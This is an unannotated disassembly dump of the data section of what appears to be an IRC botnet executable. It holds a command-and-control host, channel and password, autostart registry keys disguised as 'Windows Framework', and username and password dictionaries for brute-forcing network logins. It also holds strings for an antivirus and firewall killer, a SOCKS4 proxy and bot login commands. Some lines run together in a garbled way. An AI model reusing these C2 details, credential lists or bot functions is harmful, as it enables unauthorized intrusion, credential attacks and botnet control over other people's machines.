dd 65027420h, 20747302h, 6F024302h, 6C02706Dh, 65746502h
dd 2Eh
dword_43CAD8 dd 2Eh dword_43CADC dd 2Eh dword_43CAE0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h
; DATA XREF: sub_402533+8Co
dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h
a2ErrorGettingA db '2 error getting ARP cache: %d',0
align 4
dword_43CB28 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h
; DATA XREF: sub_402533:loc_4025C6o
dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h
a2UnableToAlloc db '2 unable to allocate ARP cache',0
align 10h
dword_43CB70 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h
; DATA XREF: sub_402533:loc_40258Co
dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h
a2ArpCacheIsEmp db '2 ARP cache is empty',0
align 10h
dword_43CBB0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h
; DATA XREF: sub_402533:loc_4025F8o
dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h
a2NotSupportedB db '2 not supported by this system',0
align 4
dword_43CBF8 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h
; DATA XREF: sub_402533+43o
dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h
a2ErrorGettin_0 db '2 error getting ARP cache: %d',0
align 10h
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_402617+46o
db '«Ç',0
align 10h
db '«Ç',0
align 4
dword_43CC54 dd 7E4h dword_43CC58 dd 45h ; seg000:00409749r
dword_43CC5C dd 7D1h ; seg000:loc_409AFFr
dword_43CC60 dd 201h dd 763h
dword_43CC68 dd 1 dd 1
dword_43CC70 dd 1 byte_43CC74 db 78h ; DATA XREF: seg000:004036C8r
; seg000:004038A8r ...
align 4
dword_43CC78 dd 7 ; sub_408654+5Fr ...
dword_43CC7C dd 1 ; seg000:00403299r ...
dword_43CC80 dd 1 ; seg000:00403293r
aRbg78 db 'rbg78',0 ; DATA XREF: seg000:0040276Do
; seg000:00406766o ...
align 4
aVb400 db 'vb400',0
align 4
aHi_0 db 'hi',0 ; DATA XREF: seg000:004084B3o
; seg000:00408582o
align 4
aFreee_najd_us db 'freee.najd.us',0
align 4
aMss2 db '#mss2',0 ; DATA XREF: sub_413351:loc_41336Bo
; sub_413468:loc_413482o ...
align 10h
aMss2pass db 'mss2pass',0
align 4
byte_43CCBC db 46h ; DATA XREF: seg000:0040777Co
; seg000:0040D28Ao ...
db 72h, 61h, 6Dh
dd 726F7765h, 652E646Bh, 6578h
dword_43CCCC dd 6D617246h, 726F7765h, 732E646Bh, 7379haWindowsFramewo db 'Windows Framework',0 ; DATA XREF: start+Eo
align 10h
aC_4 db 'C-',0 ; DATA XREF: seg000:004086D2o
align 4
aFrameworkd_dat db 'Frameworkd.dat',0
align 4
aXIr db '-x+iR',0 ; DATA XREF: seg000:00408602o
align 4
a143 db '#143',0 ; DATA XREF: seg000:loc_405C81o
; seg000:004075E7o ...
align 4
a143_0 db '#143#',0 ; DATA XREF: seg000:00404920o
align 4
a143_1 db '##143',0
align 4
off_43CD24 dd offset dword_43D064 ; DATA XREF: seg000:loc_4084FDo
off_43CD28 dd offset aMircV6_10Khale ; DATA XREF: seg000:0040383Br
; seg000:00408519o
; "mIRC v6.10 Khaled Mardam-Bey"
dd offset aMircV6_12Khale ; "mIRC v6.12 Khaled Mardam-Bey"
dd offset aMircV6_14Khale ; "mIRC v6.14 Khaled Mardam-Bey"
dd offset aMircV6_16Khale ; "mIRC v6.16 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:00419842o
; seg000:00419B66o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:004198EEo
; seg000:00419C12o
align 10h
off_43CDE0 dd offset aAdministrato_0 ; DATA XREF: sub_40E268+18Br
; sub_40E268+193o
; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 10h
off_43CE30 dd offset dword_4DF340 ; DATA XREF: sub_40E201r sub_40E201+Co
dd offset aAdministrato_1 ; "administrator"
dd offset aAdministrado_0 ; "administrador"
dd offset aAdministrate_0 ; "administrateur"
dd offset aAdministrat_0 ; "administrat"
dd offset aAdmins_0 ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_1 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003_0 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_1 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault_0 ; "default"
dd offset aSystem ; "system"
dd offset aServer_5 ; "server"
dd offset aRoot_0 ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_4 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter_0 ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob_0 ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin_1 ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase_0 ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2_0 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle_0 ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco_0 ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet_0 ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent_0 ; "student"
dd offset aTeacher_0 ; "teacher"
dd offset aStaff_0 ; "staff"
align 10h
dword_43D060 dd 10h ; seg000:00403762r ...
dword_43D064 dd 376B402Ah, 656E2E6Fh, 74haMircV6_10Khale db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_43CD28o
align 10h
aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD2Co
align 10h
aMircV6_14Khale db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD30o
align 10h
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD34o
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:off_43CDE0o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: seg002:0043CDE4o
align 10h
aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:0043CDE8o
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: seg002:0043CDECo
aAdmins db 'admins',0 ; DATA XREF: seg002:0043CDF0o
align 4
aAdmin db 'admin',0 ; DATA XREF: seg002:0043CDF4o
align 4
aStaff db 'staff',0 ; DATA XREF: seg002:0043CDF8o
align 4
aRoot db 'root',0 ; DATA XREF: seg002:0043CDFCo
align 4
aComputer db 'computer',0 ; DATA XREF: seg002:0043CE00o
align 4
aOwner db 'owner',0 ; DATA XREF: seg002:0043CE04o
align 10h
aStudent db 'student',0 ; DATA XREF: seg002:0043CE08o
aTeacher db 'teacher',0 ; DATA XREF: seg002:0043CE0Co
aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:0043CE10o
align 4
aGuest_0 db 'guest',0 ; DATA XREF: seg002:0043CE14o
align 4
aDefault db 'default',0 ; DATA XREF: seg002:0043CE18o
aDatabase db 'database',0 ; DATA XREF: seg002:0043CE1Co
align 4
aDba db 'dba',0 ; DATA XREF: seg002:0043CE20o
aOracle db 'oracle',0 ; DATA XREF: seg002:0043CE24o
align 4
aDb2 db 'db2',0 ; DATA XREF: seg002:0043CE28o
aAdministrato_1 db 'administrator',0 ; DATA XREF: seg002:0043CE34o
align 4
aAdministrado_0 db 'administrador',0 ; DATA XREF: seg002:0043CE38o
align 4
aAdministrate_0 db 'administrateur',0 ; DATA XREF: seg002:0043CE3Co
align 4
aAdministrat_0 db 'administrat',0 ; DATA XREF: seg002:0043CE40o
aAdmins_0 db 'admins',0 ; DATA XREF: seg002:0043CE44o
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: seg002:0043CE48o
align 4
aAdm db 'adm',0 ; DATA XREF: seg002:0043CE4Co
aPassword1 db 'password1',0 ; DATA XREF: seg002:0043CE50o
align 4
aPassword db 'password',0 ; DATA XREF: seg002:0043CE54o
align 10h
aPasswd db 'passwd',0 ; DATA XREF: seg002:0043CE58o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: seg002:0043CE5Co
align 4
aPass_1 db 'pass',0 ; DATA XREF: seg002:0043CE60o
align 4
aPwd db 'pwd',0 ; DATA XREF: seg002:0043CE64o
a007 db '007',0 ; DATA XREF: seg002:0043CE68o
a1: ; DATA XREF: seg002:0043CE6Co
unicode 0, <1>,0
a12 db '12',0 ; DATA XREF: seg002:0043CE70o
align 4
a123 db '123',0 ; DATA XREF: seg002:0043CE74o
a1234 db '1234',0 ; DATA XREF: seg002:0043CE78o
align 4
a12345 db '12345',0 ; DATA XREF: seg002:0043CE7Co
align 10h
a123456 db '123456',0 ; DATA XREF: seg002:0043CE80o
align 4
a1234567 db '1234567',0 ; DATA XREF: seg002:0043CE84o
a12345678 db '12345678',0 ; DATA XREF: seg002:0043CE88o
align 4
a123456789 db '123456789',0 ; DATA XREF: seg002:0043CE8Co
align 4
a1234567890 db '1234567890',0 ; DATA XREF: seg002:0043CE90o
align 4
a2000 db '2000',0 ; DATA XREF: seg002:0043CE94o
align 4
a2001 db '2001',0 ; DATA XREF: seg002:0043CE98o
align 4
a2002 db '2002',0 ; DATA XREF: seg002:0043CE9Co
align 4
a2003_0 db '2003',0 ; DATA XREF: seg002:0043CEA0o
align 4
a2004 db '2004',0 ; DATA XREF: seg002:0043CEA4o
align 4
aTest db 'test',0 ; DATA XREF: seg002:0043CEA8o
align 4
aGuest_1 db 'guest',0 ; DATA XREF: seg002:0043CEACo
align 4
aNone db 'none',0 ; DATA XREF: seg002:0043CEB0o
align 4
aDemo db 'demo',0 ; DATA XREF: seg002:0043CEB4o
align 4
aUnix db 'unix',0 ; DATA XREF: seg002:0043CEB8o
align 4
aLinux db 'linux',0 ; DATA XREF: seg002:0043CEBCo
align 4
aChangeme db 'changeme',0 ; DATA XREF: seg002:0043CEC0o
align 4
aDefault_0 db 'default',0 ; DATA XREF: seg002:0043CEC4o
aSystem db 'system',0 ; DATA XREF: seg002:0043CEC8o
align 4
aServer_5 db 'server',0 ; DATA XREF: seg002:0043CECCo
align 10h
aRoot_0 db 'root',0 ; DATA XREF: seg002:0043CED0o
align 4
aNull_1 db 'null',0 ; DATA XREF: seg002:0043CED4o
align 10h
aQwerty db 'qwerty',0 ; DATA XREF: seg002:0043CED8o
align 4
aMail db 'mail',0 ; DATA XREF: seg002:0043CEDCo
align 10h
aOutlook db 'outlook',0 ; DATA XREF: seg002:0043CEE0o
aWeb db 'web',0 ; DATA XREF: seg002:0043CEE4o
aWww db 'www',0 ; DATA XREF: seg002:0043CEE8o
aInternet db 'internet',0 ; DATA XREF: seg002:0043CEECo
align 4
aAccounts db 'accounts',0 ; DATA XREF: seg002:0043CEF0o
align 4
aAccounting db 'accounting',0 ; DATA XREF: seg002:0043CEF4o
align 4
aHome db 'home',0 ; DATA XREF: seg002:0043CEF8o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: seg002:0043CEFCo
align 4
aUser_4 db 'user',0 ; DATA XREF: seg002:0043CF00o
align 10h
aOem db 'oem',0 ; DATA XREF: seg002:0043CF04o
aOemuser db 'oemuser',0 ; DATA XREF: seg002:0043CF08o
aOeminstall db 'oeminstall',0 ; DATA XREF: seg002:0043CF0Co
align 4
aWindows db 'windows',0 ; DATA XREF: seg002:0043CF10o
aWin98 db 'win98',0 ; DATA XREF: seg002:0043CF14o
align 4
aWin2k db 'win2k',0 ; DATA XREF: seg002:0043CF18o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: seg002:0043CF1Co
align 4
aWinnt db 'winnt',0 ; DATA XREF: seg002:0043CF20o
align 10h
aWin2000 db 'win2000',0 ; DATA XREF: seg002:0043CF24o
aQaz db 'qaz',0 ; DATA XREF: seg002:0043CF28o
aAsd db 'asd',0 ; DATA XREF: seg002:0043CF2Co
aZxc db 'zxc',0 ; DATA XREF: seg002:0043CF30o
aQwe db 'qwe',0 ; DATA XREF: seg002:0043CF34o
aBob db 'bob',0 ; DATA XREF: seg002:0043CF38o
aJen db 'jen',0 ; DATA XREF: seg002:0043CF3Co
aJoe db 'joe',0 ; DATA XREF: seg002:0043CF40o
aFred db 'fred',0 ; DATA XREF: seg002:0043CF44o
align 4
aBill db 'bill',0 ; DATA XREF: seg002:0043CF48o
align 4
aMike db 'mike',0 ; DATA XREF: seg002:0043CF4Co
align 4
aJohn db 'john',0 ; DATA XREF: seg002:0043CF50o
align 4
aPeter db 'peter',0 ; DATA XREF: seg002:0043CF54o
align 4
aLuke db 'luke',0 ; DATA XREF: seg002:0043CF58o
align 4
aSam db 'sam',0 ; DATA XREF: seg002:0043CF5Co
aSue db 'sue',0 ; DATA XREF: seg002:0043CF60o
aSusan db 'susan',0 ; DATA XREF: seg002:0043CF64o
align 4
aPeter_0 db 'peter',0 ; DATA XREF: seg002:0043CF68o
align 4
aBrian db 'brian',0 ; DATA XREF: seg002:0043CF6Co
align 4
aLee db 'lee',0 ; DATA XREF: seg002:0043CF70o
aNeil db 'neil',0 ; DATA XREF: seg002:0043CF74o
align 10h
aIan db 'ian',0 ; DATA XREF: seg002:0043CF78o
aChris db 'chris',0 ; DATA XREF: seg002:0043CF7Co
align 4
aEric db 'eric',0 ; DATA XREF: seg002:0043CF80o
align 4
aGeorge db 'george',0 ; DATA XREF: seg002:0043CF84o
align 4
aKate db 'kate',0 ; DATA XREF: seg002:0043CF88o
align 4
aBob_0 db 'bob',0 ; DATA XREF: seg002:0043CF8Co
aKatie db 'katie',0 ; DATA XREF: seg002:0043CF90o
align 10h
aMary db 'mary',0 ; DATA XREF: seg002:0043CF94o
align 4
aLogin_1 db 'login',0 ; DATA XREF: seg002:0043CF98o
align 10h
aLoginpass db 'loginpass',0 ; DATA XREF: seg002:0043CF9Co
align 4
aTechnical db 'technical',0 ; DATA XREF: seg002:0043CFA0o
align 4
aBackup db 'backup',0 ; DATA XREF: seg002:0043CFA4o
align 10h
aExchange db 'exchange',0 ; DATA XREF: seg002:0043CFA8o
align 4
aFuck db 'fuck',0 ; DATA XREF: seg002:0043CFACo
align 4
aBitch db 'bitch',0 ; DATA XREF: seg002:0043CFB0o
align 4
aSlut db 'slut',0 ; DATA XREF: seg002:0043CFB4o
align 4
aSex db 'sex',0 ; DATA XREF: seg002:0043CFB8o
aGod db 'god',0 ; DATA XREF: seg002:0043CFBCo
aHell db 'hell',0 ; DATA XREF: seg002:0043CFC0o
align 4
aHello db 'hello',0 ; DATA XREF: seg002:0043CFC4o
align 4
aDomain db 'domain',0 ; DATA XREF: seg002:0043CFC8o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: seg002:0043CFCCo
align 10h
aDomainpassword db 'domainpassword',0 ; DATA XREF: seg002:0043CFD0o
align 10h
aDatabase_0 db 'database',0 ; DATA XREF: seg002:0043CFD4o
align 4
aAccess db 'access',0 ; DATA XREF: seg002:0043CFD8o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: seg002:0043CFDCo
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: seg002:0043CFE0o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: seg002:0043CFE4o
align 4
aData db 'data',0 ; DATA XREF: seg002:0043CFE8o
align 10h
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: seg002:0043CFECo
align 4
aDb1 db 'db1',0 ; DATA XREF: seg002:0043CFF0o
aDb2_0 db 'db2',0 ; DATA XREF: seg002:0043CFF4o
aDb1234 db 'db1234',0 ; DATA XREF: seg002:0043CFF8o
align 4
aSa db 'sa',0 ; DATA XREF: seg002:0043CFFCo
align 4
aSql db 'sql',0 ; DATA XREF: seg002:0043D000o
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: seg002:0043D004o
align 10h
aOrainstall db 'orainstall',0 ; DATA XREF: seg002:0043D008o
align 4
aOracle_0 db 'oracle',0 ; DATA XREF: seg002:0043D00Co
align 4
aIbm db 'ibm',0 ; DATA XREF: seg002:0043D010o
aCisco_0 db 'cisco',0 ; DATA XREF: seg002:0043D014o
align 10h
aDell db 'dell',0 ; DATA XREF: seg002:0043D018o
align 4
aCompaq db 'compaq',0 ; DATA XREF: seg002:0043D01Co
align 10h
aSiemens db 'siemens',0 ; DATA XREF: seg002:0043D020o
aHp db 'hp',0 ; DATA XREF: seg002:0043D024o
align 4
aNokia db 'nokia',0 ; DATA XREF: seg002:0043D028o
align 4
aXp db 'xp',0 ; DATA XREF: seg002:0043D02Co
align 4
aControl db 'control',0 ; DATA XREF: seg002:0043D030o
aOffice db 'office',0 ; DATA XREF: seg002:0043D034o
align 4
aBlank db 'blank',0 ; DATA XREF: seg002:0043D038o
align 10h
aWinpass db 'winpass',0 ; DATA XREF: seg002:0043D03Co
aMain db 'main',0 ; DATA XREF: seg002:0043D040o
align 10h
aLan db 'lan',0 ; DATA XREF: seg002:0043D044o
aInternet_0 db 'internet',0 ; DATA XREF: seg002:0043D048o
align 10h
aIntranet db 'intranet',0 ; DATA XREF: seg002:0043D04Co
align 4
aStudent_0 db 'student',0 ; DATA XREF: seg002:0043D050o
aTeacher_0 db 'teacher',0 ; DATA XREF: seg002:0043D054o
aStaff_0 db 'staff',0 ; DATA XREF: seg002:0043D058o
align 4
aSS_7 db '%s%s',0
align 4
aSS_8 db '%s\%s',0
align 4
aSDS_0 db '%s %d "%s"',0
align 10h
aMainBotStarted db '[MAIN]: Bot started.',0
align 4
aProcsAvFwKille db '[PROCS]: AV/FW Killer active.',0
align 4
aProcsFailedT_0 db '[PROCS]: Failed to start AV/FW killer thread, error: <%d>.',0
align 4
aSecureRegistry db '[SECURE]: Registry monitor active.',0
align 4
aSecureFailedTo db '[SECURE]: Failed to start registry thread, error: <%d>.',0
aIdentdServer_0 db '[IDENTD]: Server running on Port: 113.',0
align 4
aIdentdFailed_0 db '[IDENTD]: Failed to start server, error: <%d>.',0
align 4
aMainConnectedT db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_402D46+F2o
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_402EAE+35o
align 10h
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_402EAE+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
asc_43D79C db ' :',0 ; DATA XREF: seg000:004030ACo
align 10h
asc_43D7A0: ; DATA XREF: seg000:004030D4o
unicode 0, < >,0
asc_43D7A4: ; DATA XREF: seg000:loc_4030F1o
unicode 0, < >,0
asc_43D7A8: ; DATA XREF: seg000:004031B7o
unicode 0, <!>,0
aPing db 'PING',0 ; DATA XREF: seg000:004031C6o
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:004031E0o
align 10h
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00403201o
align 10h
a001 db '001',0 ; DATA XREF: seg000:0040321Do
a005 db '005',0 ; DATA XREF: seg000:00403232o
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:004085F5o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040860Ao
align 4
aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040861Do
align 4
a302_0 db '302',0 ; DATA XREF: seg000:00403247o
a@: ; DATA XREF: seg000:00403257o
unicode 0, <@>,0
a433_0 db '433',0 ; DATA XREF: seg000:00403282o
aNickS_4 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:004032AAo
align 10h
aKick db 'KICK',0 ; DATA XREF: seg000:00403301o
align 4
aMainUserSLogge db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:00403372o
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040338Bo
aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004033D5o
align 4
aNick db 'NICK',0 ; DATA XREF: seg000:004033E8o
align 4
aSS db ':%s%s',0 ; DATA XREF: seg000:00403506o
align 4
aPart db 'PART',0 ; DATA XREF: seg000:0040352Eo
align 4
aQuit db 'QUIT',0 ; DATA XREF: seg000:0040353Fo
align 4
aMainUserSLog_0 db '[MAIN]: User: %s logged out.',0 ; DATA XREF: seg000:004035D4o
align 4
aPart_0 db 'PART',0 ; DATA XREF: seg000:004035F1o
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00403615o
a353 db '353',0 ; DATA XREF: seg000:0040357Do
aMainJoinedChan db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: seg000:004035B4o
aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: seg000:00403620o
aNotice_0 db 'NOTICE',0 ; DATA XREF: seg000:00403631o
align 4
a332 db '332',0 ; DATA XREF: seg000:00403642o
aPrivmsg_1 db 'PRIVMSG',0 ; DATA XREF: seg000:00403663o
aNotice_1 db 'NOTICE',0 ; DATA XREF: seg000:00403678o
align 10h
aNotice_2 db 'NOTICE',0 ; DATA XREF: seg000:00403770o
align 4
asc_43D908: ; DATA XREF: seg000:00403795o
unicode 0, <#>,0
dword_43D90C dd 52455601h, 4E4F4953h, 1dword_43D918 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: seg000:00403848o
dd 0D017325h, 0Ah
dword_43D934 dd 4E495001h, 47hdword_43D93C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: seg000:00403884o
dd 0A0Dh
aLoginhi db 'loginhi',0 ; DATA XREF: seg000:004036D8o
aHi db 'hi',0 ; DATA XREF: seg000:004036EDo
align 10h
asc_43D960: ; DATA XREF: seg000:00408485o
unicode 0, <!>,0
asc_43D964: ; DATA XREF: seg000:004084A3o
unicode 0, <~>,0
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: seg000:004084D3o
align 10h
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: seg000:004084E7o
align 4
aMainFailedPass db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: seg000:004084F6o
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: seg000:00408531o
align 4
aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: seg000:00408545o
align 4
aMainFailedHost db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: seg000:00408554o
align 10h
aMainPasswordAc db '[MAIN]: Password accepted.',0 ; DATA XREF: seg000:004085C4o
align 4
aMainUserSLog_3 db '[MAIN]: User: %s logged in.',0 ; DATA XREF: seg000:004085E1o
a332_3 db '332',0 ; DATA XREF: seg000:0040370Fo
asc_43DA9C db ' :',0 ; DATA XREF: seg000:loc_40388Eo
align 10h
aD_0 db '$%d-',0 ; DATA XREF: seg000:004038EFo
align 4
aD_1 db '$%d',0 ; DATA XREF: seg000:004039AAo
aMe db '$me',0 ; DATA XREF: seg000:00403A18o
aUser_0 db '$user',0 ; DATA XREF: seg000:00403A2Ao
align 4
aChan db '$chan',0 ; DATA XREF: seg000:00403A3Bo
align 10h
aRndnick_0 db '$rndnick',0 ; DATA XREF: seg000:00403A57o
align 4
aServer_0 db '$server',0 ; DATA XREF: seg000:00403A68o
aChr db '$chr(',0 ; DATA XREF: seg000:00403A73o
align 4
aChr_0 db '$chr(',0 ; DATA XREF: seg000:00403A8Co
align 4
asc_43DAE4: ; DATA XREF: seg000:00403AB4o
unicode 0, <)>,0
a63 db '63',0 ; DATA XREF: seg000:00403ADCo
align 4
asc_43DAEC: ; DATA XREF: seg000:00403BA8o
unicode 0, < >,0
asc_43DAF0: ; DATA XREF: seg000:loc_403BC9o
unicode 0, < >,0
aRndnick db 'rndnick',0 ; DATA XREF: seg000:00403C03o
aRn db 'rn',0 ; DATA XREF: seg000:00403C1Bo
align 10h
aNickS_2 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040843Eo
align 4
aMainRandomNick db '[MAIN]: Random nick change: %s',0 ; DATA XREF: seg000:00408452o
align 4
aDie db 'die',0 ; DATA XREF: seg000:00403C30o
aD_2: ; DATA XREF: seg000:00403C45o
unicode 0, <d>,0
a332_4 db '332',0 ; DATA XREF: seg000:004083F6o
aLogout db 'logout',0 ; DATA XREF: seg000:00403C5Ao
align 10h
aLo db 'lo',0 ; DATA XREF: seg000:00403C6Fo
align 4
aMainUserSLog_1 db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:0040837Ao
aMainNoUserLogg db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: seg000:00408390o
align 4
aMainInvalidLog db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: seg000:00408398o
align 10h
aMainUserSLog_2 db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:004083D7o
aSocks4 db 'socks4',0 ; DATA XREF: seg000:00403C84o
align 4
aS4 db 's4',0 ; DATA XREF: seg000:00403C99o
align 4
aSocks4ServerSt db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: seg000:004082CCo
aSocks4FailedTo db '[SOCKS4]: Failed to start server thread, error: <%d>.',0
; DATA XREF: seg000:0040833Bo
align 4
aSocks4stop db 'socks4stop',0 ; DATA XREF: seg000:00403CAEo
align 10h
aServer_1 db 'Server',0 ; DATA XREF: seg000:00403CC7o
align 4
aSocks4_0 db '[SOCKS4]',0 ; DATA XREF: seg000:00403CCCo
align 4
